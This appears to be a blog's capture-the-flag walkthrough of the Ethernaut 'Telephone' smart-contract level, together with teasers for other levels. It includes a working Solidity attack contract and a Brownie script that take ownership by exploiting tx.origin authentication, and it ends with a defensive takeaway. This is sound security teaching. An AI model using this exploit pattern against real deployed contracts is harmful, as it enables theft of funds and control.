Articles

Ethernaut - Level 07 - Force

Image courtesy of OpenZeppelin Ethernaut 07 - Force This level from Ethernaut, Force, provides us with an empty smart contract containing only some ASCII-art. The goal here is to send some ether to the contract using the selfdestruct() instruction. # Level 07 - Force ### Source Code // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/* MEOW ? /\\_/\\ / ____/ o o \\ /~____ =ø= / (______)__m_m) */} Before explaining why this smart contract is vulnerable, let’s get familiarized with the function selfdestruct().

Ethernaut - Level 06 - Delegation

Image courtesy of OpenZeppelin Ethernaut 06 - Delegation This level from Ethernaut, Delegation, is about a special Solidity method called delegatecall(). To complete this level, we must understand how this low level function works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate { address public owner; constructor(address _owner) public { owner = _owner; } function pwn() public { owner = msg.

Ethernaut - Level 05 - Token

Image courtesy of OpenZeppelin Ethernaut 05 - Token This level from Ethernaut, called Token, is a good exercise to become familiar with the integer underflow and integer overflow concepts. In this challenge you are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large number of tokens. // SPDX-License-Identifier: MIT pragma solidity ^0.

Ethernaut - Level 04 - Telephone

Image courtesy of OpenZeppelin Ethernaut 04 - Telephone This level from Ethernaut, called Telephone, is a good exercise to learn the nuances between tx.origin and msg.sender and why you should never use tx.origin for authentication purposes: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Telephone { address public owner; constructor() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } Solidity has a global variable, tx.

Ethernaut - Level 03 - Coinflip

Image courtesy of OpenZeppelin Ethernaut 03 - Coinflip The third level in Ethernaut, CoinFlip, is a good exercise that will teach you how to exploit pseudo randomness implementations in smart contracts. This contract will require you to correctly guess the outcome of a coin flip ten times in a row: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.

Ethernaut Challenges

Please read This is a work in progress article that will receive updates as we continue publishing detailed walkthroughs for each level. Ethernaut is OpenZeppelin Web3/Solidity based wargame to learn about Ethereum smart contract security and become familiar with programming principles in Solidity. Although the game was launched few years ago it has become a good place to start for those who are interested on security and smart contracts. Challenges are currently running on the Rinkeby testnet and you will require to use a Rinkey Faucet to get free testnet ETH and test the smart contracts.

Ethernaut - Level 01 - Fallback

Image courtesy of OpenZeppelin Ethernaut 01 - Fallback The first level from Ethernaut is pretty straightforward and we will use it to become familiar with some Solidity concepts and the Brownie framework that we will use to complete this challenge. The code for the smart contract that we must exploit is shown above: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallback { using SafeMath for uint256; mapping(address => uint) public contributions; address payable public owner; constructor() public { owner = msg.

Ethernaut - Level 02 - Fallout

Image courtesy of OpenZeppelin Ethernaut 02 - Fallout The goal for this level is to claim ownership of the contract, which has the following implementation: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.

Ethernaut - Level 04 - Telephone

August 24, 2022

Image courtesy of OpenZeppelin

Image courtesy of OpenZeppelin

Ethernaut 04 - Telephone

This level from Ethernaut, called Telephone, is a good exercise to learn the nuances between tx.origin and msg.sender and why you should never use tx.origin for authentication purposes:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Solidity has a global variable, tx.origin, which traverses the entire call stack and returns the address of the account that originally sent the transaction (or performed the call). Using this global variable for authentication in smart contracts leaves the contract vulnerable to phishing-like attacks, which is exactly what this level is about.

According to Solidity’s documentation:

tx.origin holds the address of the sender of the transaction, while msg.sender holds the address of the sender of the message

This means that tx.origin will refers to the address of an account that sent a transaction, and msg.sender refers to the address of an account or a smart contract that is directly calling a smart contract’s function.

tx.origin vs msg.sender

tx.origin vs msg.sender

Based on the previous image, if Account calls contract A , and contract A calls contract B, in contract B, the value assigned to msg.sender will be contract B and the value assigned to tx.origin will be Account.

Where is the vulnerability?

The vulnerability in this contract is contained in the changeOwner function, as it uses tx.origin in the if statement before changing the contract’s owner:

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }

We will pass this level if tx.origin differs from msg.sender . This can be achieved if msg.sender is whatever address that calls the changeOwner function and tx.origin is the address that originally started the transaction. In other words, we will use a malicious contract (telephoneAttack.sol) as middleman. Once we first call our telephoneAttack.sol contract, it will call the Telephone.sol instance. For the Telephone.sol contract, tx.origin will be our EOA’s (external owned account) address and msg.sender will be our telephoneAttack.sol contract’s address.

A vulnerability like this, costed THORChain $8 million dollars, as Adrian Hetman documented in his Unboxing tx.origin: Rune Token case article.

Hacking the contract

Let’s start creating our malicious contract, telephoneAttack.sol, with the following implementation:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'interfaces/telephoneInterface.sol';

contract TelephoneAttack {
    TelephoneInterface telephone;

    constructor(address _attackerAddress) public{
        telephone = TelephoneInterface(_attackerAddress);
    }

    function exploit() public {
        telephone.changeOwner(msg.sender);
    }

    function destroy() public {
        selfdestruct(msg.sender);
    }
}

As always, the script to trigger the attack is shown below:

from brownie import accounts, config, interface, web3, TelephoneAttack


def exploit(target, hacker):
    deploy_attack = TelephoneAttack.deploy(target, {"from": hacker})
    deploy_attack.exploit({'from': hacker, 'allow_revert': True})
    deploy_attack.destroy({'from': hacker})


def main(target):
    hacker = accounts.add(config['wallets']['from_key'])
    print(f'Attacker address: {hacker}, Target address: {target}')
    exploit(target, hacker)

Based on the explanation provided before the attack can be summarized in few steps:

  • We start by deploying our malicious contract (TelephoneAttack.deploy), therefore, tx.origin will have the user’s account address.
  • The TelephoneAattack contract initializes an instance of Telephone within its constructor passing the TelephoneAttack contract’s address as msg.sender.
  • Our script will call deploy_attack.exploit, which executes the exploit() function and calls telephone.changeOwner(msg.sender);.
  • As mentioned earlier in this walkthrough, the tx.origin is a global variable which traverses the entire call stack and returns the address of the account that originally sent the transaction, our user account, differing from the value assigned to msg.sender (Our TelephonAttack contract’s address).
  • As tx.origin differs from msg.sender, our exploit will pass the if statement and execute the owner = _owner; statement, assigning us as the contract’s legitimate owner

Takeaways

The most valuable takeaway from this challenge is to learn to not use tx.origin for authorization purposes, additionally, by using tx.origin you are limiting interoperability between contracts, since contracts using tx.origin cannot be used by other contracts (a contract can never be the tx.origin). Instead, you should use msg.sender for authorization.